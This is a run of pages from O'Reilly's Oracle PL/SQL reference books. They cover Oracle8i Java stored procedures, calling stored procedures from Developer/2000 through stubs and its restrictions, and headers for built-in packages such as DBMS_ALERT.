Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.19 Java Language Integration

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.19 Java Language Integration

In Oracle8i, Java(TM) programmers can write server-side classes that invoke SQL and PL/SQL using standard JDBC(TM) or SQLJ calls. PL/SQL programmers can call server-side Java methods by writing a PL/SQL cover or call spec for Java using Oracle DDL.

Server-side Java in Oracle may be faster than PL/SQL for compute-intensive programs, but not as nimble for database access. PL/SQL is much more efficient for database-intensive routines because, unlike Java, it doesn't have to pay the overhead for converting SQL datatypes for use inside the stored program. Oracle programmers will want to continue to use PL/SQL for programs that perform a lot of database I/O, and use Java for the best raw computation performance.

The first step in creating a Java stored procedure ( JSP) is writing or otherwise obtaining functional Java code. Having source code is not necessary, though, so you can use class libraries from third parties. The classes must, however, meet the following requirements:

  • Methods published to SQL and PL/SQL must be declared static. PL/SQL has no mechanisms for instantiating non-static Java classes.

  • The classes must not issue any GUI calls (for example, to AWT) at runtime.

If you write your own JSP, and it needs to connect to the database for access to tables or stored procedures, use standard JDBC and/or SQLJ calls in your code. Many JDBC and SQLJ reference materials are available to provide assistance in calling SQL or PL/SQL from Java, but be sure to review the Oracle-specific documentation that ships with Oracle8i.

Once you have the Java class in hand, either in source or .class file format, the next step is loading it into the database. Oracle's loadjava command-line utility is a convenient way to accomplish the load. Refer to Oracle's documentation for further assistance with loadjava.

The third step is to create a call spec for the Java method, specifying the AS LANGUAGE JAVA clause of the CREATE command. You may create a function or procedure cover as appropriate.

Finally, you may grant execute privileges on the new JSP using GRANT EXECUTE, and PL/SQL routines can now call the JSP as if it were another PL/SQL module.

1.19.1 Example

Let's write a simple "Hello, World" JSP that will accept an argument:

package oreilly.plsquick.demos;

public class Hello {
   public static String sayIt (String toWhom) {
      return "Hello, " + toWhom + "!";
   }
}

Saved in a file called Hello.java, we can load the source code directly into Oracle. Doing so will automatically compile the code. A simple form of the loadjava command:

loadjava -user scott/tiger -oci8 oreilly/plsquick/
   demos/Hello.java

The Hello.java file follows the Java file placement convention for packages and so exists in a subdirectory named oreilly/plsquick/demos.

Now we can fire up our favorite SQL interpreter, connect as SCOTT/TIGER, and create the call spec for the Hello.sayIt( ) method:

CREATE FUNCTION hello_there (to_whom IN VARCHAR2)
   RETURN VARCHAR2
   AS LANGUAGE JAVA
   NAME 'oreilly.plsquick.demos.Hello.sayIt
     (java.lang.String) return java.lang.String';
/

Now we can call our function very easily:

BEGIN
   DBMS_OUTPUT.PUT_LINE(hello_there('world'));
END;
/

And we get:

Hello, world!

as the expected output.

1.19.2 Publishing Java to PL/SQL

To write a call spec, use the AS LANGUAGE JAVA clause in a CREATE statement. The syntax for this clause is:

{ IS | AS } LANGUAGE JAVA
   NAME 'method_fullname [ (type_fullname,... ]
      [ return type_fullname ]'

method_fullname is the package-qualified name of the Java class and method. It is case-sensitive and uses dots to separate parts of the package full name. type_fullname is the package-qualified name of the Java datatype.

Notice that a simple string, not an SQL name, follows the NAME keyword.

Type mapping follows most JDBC rules regarding the legal mapping of SQL types to Java types. Oracle extensions exist for Oracle-specific datatypes.

Most datatype mappings are relatively straightforward, but passing Oracle8 objects of a user-defined type is harder than one would think. Oracle provides a JPublisher tool that generates the Java required to encapsulate an Oracle8 object and its corresponding REF. Refer to Oracle's JPublisher documentation for guidelines on usage.

The AS LANGUAGE JAVA clause is the same whether you are using Java as a standalone JSP, the implementation of a packaged program, or the body of an object type method. For example, here is the complete syntax for creating JSPs as PL/SQL-callable functions or procedures:

CREATE [OR REPLACE]
{  PROCEDURE procedure_name [(param[, param]...)]
   | FUNCTION function_name [(param[, param]...)]
      RETURN sql_type
}
[AUTHID {DEFINER | CURRENT_USER}]
[PARALLEL_ENABLE]
[DETERMINISTIC]
{ IS | AS } LANGUAGE JAVA
   NAME 'method_fullname [ (type_fullname,... ]
      [ return type_fullname ]'

When using Java as the implementation of a packaged procedure or function, Oracle allows you to place the Java call spec in either the package specification (where the call spec substitutes for the subprogram specification) or in the package body (where the call spec substitutes for the subprogram body).

Similarly, when using JSPs in object type methods, the Java call spec can substitute for either the object type method specification or its body.

Note that Java functions typically map to PL/SQL functions, but Java functions declared void map to PL/SQL procedures. Also, you will quickly learn that mistakes in mapping PL/SQL parameters to Java parameters become evident only at runtime.

1.19.3 Data Dictionary

To learn what Java library units are available in your schema, look in the USER_OBJECTS data dictionary view where the object_type is like `JAVA%'. If you see a Java class with INVALID status, it has not yet been successfully resolved. Note that the names of the Java source library units need not match the names of the classes they produce.

As of press time, there is no apparent way to discover which stored programs are implemented as Java stored procedures. You can look in the USER_SOURCE view for named programs that contain the source text `AS LANGUAGE JAVA', but that may not yield accurate results. The USER_DEPENDENCIES view does not track the relationship between PL/SQL cover programs and their underlying Java class.

Even if you have loaded the Java source code into the database, there is no supported way of retrieving the source from the data dictionary.

Previous: 1.18 External Procedures | Oracle PL/SQL Language Pocket Reference
1.18 External Procedures |
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Language Pocket Reference

By Steven Feuerstein, Bill Pribyl & Chip Dawes; ISBN 1-56592-457-6E
First Edition, published 1999-04-01.
(See the catalog page for this book.)

Search the text of Oracle PL/SQL Language Pocket Reference.

Table of Contents

Chapter 1: Oracle PL/SQL Language Pocket Reference

1.1: Introduction
1.2: Acknowledgments
1.3: Conventions
1.4: PL/SQL Language Fundamentals
1.5: Variables and Program Data
1.6: Conditional and Sequential Control
1.7: Loops
1.8: Database Interaction and Cursors
1.9: Cursors in PL/SQL
1.10: Exception Handling
1.11: Records in PL/SQL
1.12: Named Program Units
1.13: Triggers
1.14: Packages
1.15: Calling PL/SQL Functions in SQL
1.16: Oracle8 Objects
1.17: Collections
1.18: External Procedures
1.19: Java Language Integration

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Language Pocket Reference Search Page

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] What's on the Companion Disk?

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: VII. Appendixes Appendix A Next: A.2 Using the Guide

A. What's on the Companion Disk?

Contents:
Installing the Guide
Using the Guide

The content of the companion Windows disk that accompanies this book has been included on this CD, in the /prog2/disk/ directory. It contains the Oracle PL/SQL Programming Companion Utilities Guide, an online tool designed to help you easily find additional resources. The guide offers point-and-click access to nearly 100 files of source code and documentation prepared by the authors. The goal of providing this material in electronic form is to give you a leg up on the development of your own PL/SQL programs. Providing material on disk also helps us keep the size of this book under (some) control.

A.1 Installing the Guide

In a Microsoft Windows environment, you begin installation by double-clicking on the setup.exe file to run the installation program. If you are working in a non-Windows environment, please visit the RevealNet PL/SQL Pipeline Archives (http://www.revealnet.com/plsql-pipeline) to obtain a compressed file containing the utilities on this disk.

The installation script will lead you through the necessary steps. The first screen you will see is the install screen shown in Figure A.1.

Figure A.1: Installing the companion utilities guide

You can change the default directory in which the files will be placed. Once this step is compete and the software has been copied to your drive, an icon will appear in the folder you specified. Double-click on the icon to start using the Companion Utilities Guide. You will then see the main menu shown in Figure A.2.

Figure A.2: The main menu

Previous: VII. Appendixes | Oracle PL/SQL Programming, 2nd Edition | Next: A.2 Using the Guide
VII. Appendixes | Book Index | A.2 Using the Guide
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.2 Using the Guide

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

A.2 Using the Guide

The three buttons on the main menu take you to the companion information for this book:

About the Utility Guide

A brief description of the contents of this disk.

Package Examples

Extended text and examples that explore the construction of complex packages in PL/SQL. Figure A.3 shows buttons available to you for exploration if you choose this. Once you select an example, you can scroll through text explaining how the package was designed and built. You can also choose to view the package specification and body, and copy either to the clipboard.

Figure A.3: The package examples

Source Code Index

The guide gives you point-and-click access to each of the files on the companion disk. The files are listed in chapter order to make it easy for you to move between the book and guide. Source code listings in the book begin with comment lines keyed to the filenames on the disk. Figure A.4 shows a portion of the Source Code Index.

Figure A.4: The Source Code Index

Previous: A.1 Installing the Guide | Oracle PL/SQL Programming, 2nd Edition | Next: B. Calling Stored Procedures from PL/SQL Version 1.1
A.1 Installing the Guide | Book Index | B. Calling Stored Procedures from PL/SQL Version 1.1
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix B] Calling Stored Procedures from PL/SQL Version 1.1

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: A.2 Using the Guide Appendix B Next: B.2 Restrictions on Calling Stored Procedures

B. Calling Stored Procedures from PL/SQL Version 1.1

Contents:
Using Stubs to Talk to Server-Side PL/SQL
Restrictions on Calling Stored Procedures

The Oracle Developer/2000 tools use PL/SQL Version 1.1, while the PL/SQL versions on the server range from 2.0 to 8.x. The PL/SQL version inside the Oracle Developer/2000 tools will be upgraded to PL/SQL Release 2.3 sometime in 1998 with Release 2 of Oracle Developer/2000. In the meantime, the tools group at Oracle Corporation has had to come up with a way to allow applications based on Oracle Developer/2000 to call stored procedures in the most transparent fashion possible. The end result is a mechanism which:

  • Does not require any changes to the PL/SQL Version 1.1 base product

  • Does allow the Oracle Developer/2000 application to find and execute stored procedures

  • Does not require any special syntax to distinguish between stored and local PL/SQL modules

Achieving this effect, however, imposes several restrictions on the use of stored procedures:

  • Only four datatypes are supported for module parameters: DATE, VARCHAR2, BOOLEAN, and NUMBER.

  • You cannot directly reference a package object using the dot notation <schema>.<package>.<objname>.

  • You cannot directly execute remote procedure calls using the standard syntax <procedure><dblink>

  • You must provide an argument for each parameter in a stored module's parameter list, even if that parameter has a default value. (This restriction applies only to PL/SQL Version 2.0; this restriction goes away in Release 2.1 and beyond.)

  • A stored procedure called from Oracle Developer/2000 cannot have only OUT argument types.

  • From Oracle Developer/2000, you can call stored procedures, but you cannot debug them from within the Oracle Developer/2000 tool. (You will be able to do so with PL/SQL Release 2.2 and above; this release runs against Oracle7 Server Release 7.2, which contains the hooks for the step debugging in PL/SQL.)

  • You cannot look up a remote subprogram via a synonym until RDBMS Version 7.1.1.

B.1 Using Stubs to Talk to Server-Side PL/SQL

The mechanism employed by the Oracle Developer/2000 tools to handle stored procedures is called stub generation. A stub is a PL/SQL procedure or function which has the same header as the actual procedure or function. A stub for a package contains a stub or specification for each module in the package.

When the Oracle Developer/2000 tool encounters an identifier in a PL/SQL code segment, it checks to see if it is a local PL/SQL variable, then a tool bind variable, table/view, synonym, sequence, and so on through the precedence order of object name resolution. If it is unable to resolve the reference, the PL/SQL compiler calls a stub generator to see if it can resolve the identifier as a stored function or procedure. In that case, a stub is generated for syntactical checking, and the compiler continues. Because the stub looks the same to the Oracle Developer/2000 tool as the stored module, the tool can continue to perform syntactical checks using that stub. Stub generation only occurs at compile time.

You can see what kind of stub PL/SQL generates in the Oracle Developer/2000 tool by executing the stub generator directly from SQL*Plus, as shown below:

VARIABLE not_needed VARCHAR2(2000);
VARIABLE stubtext VARCHAR2(2000);
DELETE FROM SYS.PSTUBTBL;
EXECUTE SYS.PSTUB ('&1', NULL, :not_needed, :stubtext);
PRINT stubtext;
DELETE FROM SYS.PSTUBTBL;

where "&1" is a substitution variable. Notice that I delete from the stub table, SYS.PSTUBTBL, before and after my call to the SYS pstub generator program. This is a temporary table and must be cleaned up manually if you are going to call the PSTUB program yourself.

Place this code in a file named showstub.sql and you can then call it as follows to show a module's stub:

SQL> start showstub calc_totals

The following is an example of the output from this showstub program:

SQL> CREATE PROCEDURE calc_totals
SQL>      (company_id_in IN NUMBER, type_inout IN OUT VARCHAR2)
SQL> IS
SQL> BEGIN
SQL>       ... all the code ...
SQL> END;
SQL> /

Procedure created.

SQL> start showstub calc_totals

STUBTEXT
----------------------------------------------------------------------
procedure calc_totals (COMPANY_ID_IN NUMBER, TYPE_INOUT in out CHAR) is
begin stproc.in('begin calc_totls(:COMPANY_ID_IN, :TYPE_INOUT); end;');
stproc.bind_i(COMPANY_ID_IN); stproc.bind_io(TYPE_INOUT);
stproc.execute;
stproc.retrieve(2, TYPE_INOUT); end;

If the output from showstub is `$$$ s_notv6Compat', you may be trying to use parameters with the %TYPE attribute, which are not allowed in the parameter list of a stored procedure called from Oracle Developer/2000 tools. If the output is `$$$ s_subp not found', the problem is that the stub generator cannot find the module. This will happen if you have not created a synonym for a module which is owned by another user. The stub generator cannot search across different users to resolve a named object reference. You will have to create a public synonym for this module and then grant EXECUTE authority on that module to PUBLIC.

Previous: A.2 Using the Guide | Oracle PL/SQL Programming, 2nd Edition | Next: B.2 Restrictions on Calling Stored Procedures
A.2 Using the Guide | Book Index | B.2 Restrictions on Calling Stored Procedures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix B] B.2 Restrictions on Calling Stored Procedures

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

B.2 Restrictions on Calling Stored Procedures

It's good to know why and how the Oracle Developer/2000 tools make stored procedures available, but the restrictions on use of those objects has the most direct impact on developers. Let's examine each restriction and the steps you can take to work around those restrictions.

B.2.1 No Server-Side PL/SQL Datatypes

Parameters in stored procedures, as well as the RETURN datatype of stored functions, can only have one of these datatypes if they are to be used by Oracle Forms. This rule applies both to standalone and package modules. Remember: when you work in a Oracle Developer/2000 tool, you are using PL/SQL Version 1.1; any code you write, including calls to stored modules, must conform to Version 1.1 compiler syntax rules. The specification or "public" side of a stored module must look like a Version 1.1 module. Behind the specification -- in other words, the implementation of that module -- can have all the server-side PL/SQL features you can pack into it. You just can't let any of that show outside of the body of the module or package.

Suppose you define a stored procedure as follows:

FUNCTION get_row RETURN BINARY_INTEGER;

If you try to execute the function inside an Oracle Forms PL/SQL block, the compiler will tell you:

Identifier 'GET_ROW' must be declared

It literally cannot even find a match for the function if the datatype does not conform to PL/SQL Version 1 valid datatypes. The SYS.PSTUB procedure will have been unable to generate a stub and so the name remains unresolved.

There are two ways to work around this problem:

  • Do not use any server-side PL/SQL datatypes in the specifications of your stored modules.

  • Write an overlay stored procedure which maps server-side PL/SQL datatypes to Version 1 datatypes (where possible).

I strongly urge you to employ the second workaround. If you have built stored objects which make use of server-side PL/SQL datatypes in the parameter list, and if that datatype is the most appropriate one for the parameter, you shouldn't change that module's specification. You should always try to take advantage of the most advanced features of a language. Don't choose a lowest common denominator solution unless there are no other options.

In many situations, you won't have the opportunity to change the specification (parameter list) of a stored module. It will have been written by others, perhaps for another application, and cannot be modified without possibly affecting those other applications.

In this case, the second workaround is annoying but thoroughly able to be implemented. If your Oracle Developer/2000 code must call the get_row function, for example, you can create another stored object (let's call it Oracle Developer/2000_get_row) which does not return a BINARY_INTEGER, but instead returns a NUMBER. The specification and body for Oracle Developer/2000_get_row would be:

FUNCTION Oracle Developer 2000_get_row RETURN INTEGER IS
BEGIN
   RETURN get_row;
END;

The Oracle Developer/2000_get_row can be called from a Oracle Developer/2000 program because it returns one of the supported datatypes. In this case, PL/SQL will certainly perform the necessary implicit conversions because BINARY_INTEGER and NUMBER are compatible datatypes.

B.2.2 No Direct Stored Package Variable References

This is the most serious drawback of the implementation for accessing stored objects from Oracle Developer/2000. You simply cannot use the dot notation to reference a package variable, whether it be a string, exception, or cursor. Consider the pet maintenance package which we discussed earlier in this book.

PACKAGE pet_maint
IS
   /*------------------ Global Variables ------------------*/
   max_pets_in_facility INTEGER := 120;
   pet_is_sick EXCEPTION;
   CURSOR pet_cur RETURN pet%ROWTYPE;

   /*------------------- Public Modules -------------------*/
   FUNCTION next_pet_shots (pet_id_in IN NUMBER) RETURN DATE;
   PROCEDURE set_schedule (pet_id_in IN NUMBER);
   PROCEDURE check_activity (pet_id_in IN NUMBER);

END pet_maint;

You can call the modules using dot notation, as in:

pet_maint.check_activity (1503);

but you cannot make reference to any of the package variables using this same dot notation. All of the statements shown in boldface will fail to compile:

BEGIN
   IF pet_maint.max_pets_in_facility < new_count
   THEN
      ...
      OPEN pet_maint.pet_cur;
      ...
   END IF;
EXCEPTION
   WHEN pet_maint.pet_is_stick
   THEN
      ...
END;

This restriction puts you in a tough situation. You really need to build packages; there are just too many advantages to this structure to ignore it. You also need to store as many of your objects as possible in the database. When you are done creating your elegant package, filled with overloaded programs and variables and exceptions, however, you find that you cannot use it in Oracle Forms or Oracle Reports or Oracle Graphics.

What can you do? You simply have to get rid of that dot notation. This is one instance where the workaround actually results in better code! Whenever you build a package with variables like pet_maint.max_pets_in_facility, you should avoid letting programmers directly reference those variables. Instead you are much better off building a pair of "get and set" modules around the package variable. This way, a programmer accesses the variable through a programmatic interface. This gives you more control over that variable. You can make sure that any changes to the variable are valid. You also retain the freedom to change the name or data structure of the variable. If programmers embed direct references to pet_maint.max_pets_in_facility in their code, you can never change how you store that value. If you hide it behind modules, you could decide to store that value in a PL/SQL table or record and not have any impact outside of the package.

The following example shows a new specification for the pet_maint package. In this version the max_pets_in_facility variable has been moved to the body of the package and is replaced by the get_max and set_max modules.

PACKAGE pet_maint
IS
   /*------------------ Global Variables ------------------*/
   pet_is_sick EXCEPTION;
   CURSOR pet_cur RETURN pet%ROWTYPE;

   /*------------------- Public Modules -------------------*/
   FUNCTION get_max_pets RETURN INTEGER;
   PROCEDURE set_max_pets (max_in IN INTEGER);
   FUNCTION next_pet_shots (pet_id_in IN NUMBER) RETURN DATE;
   PROCEDURE set_schedule (pet_id_in IN NUMBER);
   PROCEDURE check_activity (pet_id_in IN NUMBER);

END pet_maint;

The conversion to a programmatic interface is fairly straightforward for variables. However, it is considerably more complex to manipulate cursors through a procedural interface, and it is impossible to do so for exceptions.

Prior to PL/SQL Release 2.2, any reference to a cursor had to have the cursor name hardcoded. In subsequent releases, you can create cursor variables (explained in Chapter 6, Database Interaction and Cursors). Without cursor variables, you will need to build a set of modules in order to make reference to a cursor declared in a package.The following example contains examples of the kinds of modules you can write to hide the cursor and then access it from Oracle Developer/2000.

PROCEDURE open_pet_cur IS
BEGIN
   /* Open the cursor if not already open */
   IF NOT pet_maint.pet_cur%ISOPEN
   THEN
      OPEN pet_maint.pet_cur;
   END IF;
END;

PROCEDURE fetch_pet_cur
   (pet_rec_out OUT pet%ROWTYPE, fetch_status_out OUT VARCHAR2)
/*
|| Fetch next record from the cursor. Also set a status variable
|| to indicate if a record was fetched (corresponds to
|| the %FOUND attribute).
*/
IS
       BEGIN
   FETCH pet_maint.pet_cur INTO pet_rec_out;
   IF pet_maint.pet_cur%FOUND
   THEN
      fetch_status_out := 'FOUND';
   ELSE
      fetch_status_out := 'NOTFOUND';
   END IF;
END;

PROCEDURE close_pet_cur IS
BEGIN
   /* Close the cursor if still open */
   IF pet_maint.pet_cur%ISOPEN
   THEN
      CLOSE pet_maint.pet_cur;
   END IF;
END;

That wasn't a whole lot of fun, but at least it is doable. The last variable left exposed in the pet maintenance package is an exception: pet_is_sick. I do not know of any way to build a programmatic interface which would return an exception that you could then raise in your program and reference in an exception handler. A function cannot have an EXCEPTION as a RETURN datatype. The exception "datatype" is treated differently from true datatypes. As a result, you will not be able to trap and handle package-specific exceptions in a stored package unless the stored package uses the RAISE_APPLICATION_ERROR procedure with a user-defined exception number between -20000 and -20999.

B.2.3 No Direct Remote Procedure Calls

This very powerful feature is unavailable from Oracle Developer/2000. Instead, you will have to create a synonym for the remote procedure and then execute the synonym rather than the procedure directly. (Don't forget to grant EXECUTE authority on the synonym!)

Suppose I want to execute the following procedure from an Oracle Forms application:

new_schedule@HQ_repository;

I need to do the following:

  1. Create a synonym:

    CREATE SYNONYM HQ_new_schedule FOR new_schedule@HQ_repository;

  2. Grant EXECUTE authority on that synonym:

    GRANT EXECUTE ON HQ_new_schedule TO <user_or_role>;

  3. Call the synonym in my Oracle Forms trigger or program unit:

    HQ_new_schedule;

B.2.4 No Default Parameter Values

PL/SQL Version 2.0 does not allow you to use default parameter values when you are performing a remote procedure call. (You must leave any arguments which have default values in the specification out of the module execution.) Even if you do not append an @ symbol on a call to a stored procedure, PL/SQL does consider that a remote procedure call because the client-side application is "remote" from the server.

Unfortunately, if you do try to call a stored object from a Oracle Developer/2000 component and rely on a default value, the PL/SQL error does not offer much help. It will not ask you to include values for all parameters. It will simply tell you:

Error at line N:
Identifier 'STORED_OBJECT' must be declared

The first time I encountered this error, I panicked. Why couldn't Oracle Forms find the stored procedure? I logged in through SQL*Plus and could run the module there. So I knew it was defined and stored in the database. Was it a security issue within Oracle Forms? Did I have to do something special to get Oracle Forms to realize it was looking for a stored object and not a local program unit? In the end, I discovered that Oracle Forms could find the object, it just couldn't use it (create a stub for it) because I hadn't passed the full set of arguments.

So when your Oracle Developer/2000 PL/SQL compiler tells you that an identifier "must be declared", make sure you that you included an argument for each parameter in the stored module parameter list. You should not consider this too much of a hardship; good programming practice dictates that you never rely on the default values anyway.

Previous: B.1 Using Stubs to Talk to Server-Side PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: C. Built-In Packages
B.1 Using Stubs to Talk to Server-Side PL/SQL | Book Index | C. Built-In Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] Built-In Packages

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: B.2 Restrictions on Calling Stored Procedures Appendix C Next: C.2 DBMS_ALERT

C. Built-In Packages

Contents:
Using the Built-in Packages
DBMS_ALERT
Oracle AQ, the Advanced Queueing Facility
DBMS_DDL
DBMS_ JOB
DBMS_LOB (PL/SQL8 Only)
DBMS_LOCK
DBMS_MAIL
DBMS_OUTPUT
DBMS_PIPE
DBMS_ROWID (PL/SQL8 Only)
DBMS_SESSION
DBMS_SNAPSHOT
DBMS_SQL
DBMS_TRANSACTION
DBMS_UTILITY
UTL_FILE

This appendix provides a quicksummary of the most commonly used RDBMS-based packages built by Oracle Corporation and made available to all developers. Table C.1 shows the list of packages covered here. Unless otherwise noted, the packages are available in PL/SQL Release 2.1 and above.

Table C.1: Built-In Packages Stored in the Oracle Database
Package Name | Description
DBMS_ALERT | Provides support for notification of database events on an asynchronous basis. Registers a process with an alert and then waits for a signal from that alert.
DBMS_AQ | Offers an interface to Oracle/AQ, the Advanced Queueing Facility of Oracle8 (PL/SQL8 only).
DBMS_AQADM | Used to perform administrative tasks for Oracle/AQ (PL/SQL8 only).
DBMS_DDL | Provides programmatic access to some of the SQL DDL statements.
DBMS_JOB | Submits and manages regularly scheduled jobs for execution inside the database (PL/SQL Release 2.1)
DBMS_LOB | Provides a set of programs to manipulate LOBs (large objects) (PL/SQL8 only).
DBMS_LOCK | Lets you create your own user locks in the database.
DBMS_MAIL | Interfaces to Oracle Office (formerly known as Oracle*Mail).
DBMS_OUTPUT | Displays output from PL/SQL programs to the terminal.
DBMS_PIPE | Communicates between different Oracle sessions through a pipe in the RDBMS shared memory.
DBMS_ROWID | Encapsulates information about the structure of the ROWID datatype and allows for conversion between restricted and extended ROWIDs (PL/SQL8 only).
DBMS_SESSION | Provides a programmatic interface to several SQL ALTER SESSION commands and other session-level commands.
DBMS_SNAPSHOT | Provides a programmatic interface through which you can manage snapshots and purge snapshot logs. You might use modules in this package to build scripts to automate maintenance of snapshots.
DBMS_SQL | Provides full support for dynamic SQL within PL/SQL. Dynamic SQL refers to statements that are not prewritten into your programs. They are, instead, constructed at run time as character strings and then passed to the SQL engine for execution. (PL/SQL Release 2.1)
DBMS_ TRANSACTION | Provides a programmatic interface to a number of the SQL transaction statements, such as SET TRANSACTION.
DBMS_UTILITY | The miscellaneous package. Contains various useful utilities, such as FORMAT_CALL_STACK, which returns the current stack of called modules.
UTL_FILE | Allows PL/SQL programs to read from and write to operating system files. (PL/SQL Release 2.3)

All of the packages in Table C.1 are stored in the database and can be executed both by client- and server-based PL/SQL programs. In addition to these packages, many of the development tools, like Oracle Forms, offer their own specific package extensions, such as packages to manage OLE2 objects and DDE communication.[1]

[1] For more detailed information about these built-in packages, see my book, Oracle Built-in Packages.

C.1 Using the Built-in Packages

In this appendix, I've provided a brief overview of each package, followed by a description and header for each program in the package. These headers are structured as follows:

PROCEDURE pkg.procname (<parameter list>);

FUNCTION pkg.funcname (<parameter list>) RETURN <return datatype>;

where pkg is the name of the package, procname and funcname are the names of the programs, <parameter list> is the list of parameters (if there are no parameters, then you do not provide parentheses either) and <return datatype> is the datatype of the value returned by the function.

Let's look at an example. Suppose that you want to receive a message from a pipe. The header for the built-in function which does this is:

FUNCTION DBMS_PIPE.RECEIVE_MESSAGE=20
   (pipename IN VARCHAR2, timeout INTEGER DEFAULT
    DBMS_PIPE.MAXWAIT)
RETURN INTEGER;

Note that all identifiers are in uppercase except for parameter names. This is consistent with my conventions: all keywords and other identifiers built by Oracle are in uppercase. The parameter names are lowercase because in many program headers, I have provided my own parameter names to make the headers more readable.

When I want to call a packaged program, I must use dot notation. For example to make use of the RECEIVE_MESSAGE built-in, I would write code like this:

DECLARE
    pipe_status INTEGER;
BEGIN
     pipe_status DBMS_PIPE.RECEIVE_MESSAGE (mypipe, 10);
END;

Previous: B.2 Restrictions on Calling Stored Procedures | Oracle PL/SQL Programming, 2nd Edition | Next: C.2 DBMS_ALERT
B.2 Restrictions on Calling Stored Procedures | Book Index | C.2 DBMS_ALERT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix C] C.2 DBMS_ALERT

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

C.2 DBMS_ALERT

The DBMS_ALERT package provides support for notification of database events. You can use DBMS_ALERT to automatically detect that an event occurred, and then notify any process which is waiting for a signal from that alert. Many DBMS_ALERT programs perform at length, are not case-sensitive, and should not start with ORA$.

C.2.1 The REGISTER procedure

The REGISTER procedure adds your session and the specified alert to the master registration list. A session can register its interest in any number of alerts. The specification is:

PROCEDURE DBMS_ALERT.REGISTER (name IN VARCHAR2);

C.2.2 The REMOVE procedure

The REMOVE procedure removes the specified alert for the current session from the registration list. After a call to REMOVE, your application will no longer respond to the named alert when issued by SIGNAL. The specification is:

PROCEDURE DBMS_ALERT.REMOVE (name IN VARCHAR2);

C.2.3 The REMOVEALL procedure

The REMOVEALL procedure removes all alerts for the current session from the registration list. After a call to REMOVEALL, your application will no longer respond to any alerts issued by SIGNAL. The specification is:

PROCEDURE DBMS_ALERT.REMOVEALL;

C.2.4 The SET_DEFAULTS procedure

Use the SET_DEFAULTS procedure to set the amount of time (in seconds) for the POLLING_INTERVAL, which applies when DBMS_ALERT goes into a polling loop. The specification is:

PROCEDURE DBMS_ALERT.SET_DEFAULTS (sensitivity IN NUMBER);

C.2.5 The SIGNAL procedure

The SIGNAL procedure signals that an alert has been fired and passes a message to all sessions currently having registered interest in the alert. The specification is:

PROCEDURE DBMS_ALERT.SIGNAL (name IN VARCHAR2, message IN VARCHAR2);

C.2.6 The WAITANY procedure

The WAITANY procedure waits for a signal for any of the alerts in which the session has registered interest. The specification is:

PROCEDURE DBMS_ALERT.WAITANY
   (name OUT VARCHAR2,
    message OUT VARCHAR2,
    status OUT INTEGER,
    timeout IN NUMBER DEFAULT MAXWAIT);

C.2.7 The WAITONE procedure

The WAITONE procedure waits for a specified alert to be signaled. The specification is:

PROCEDURE DBMS_ALERT.WAITONE
   (name IN VARCHAR2,
    message OUT VARCHAR2,
    status OUT INTEGER,
    timeout IN NUMBER DEFAULT MAXWAIT);

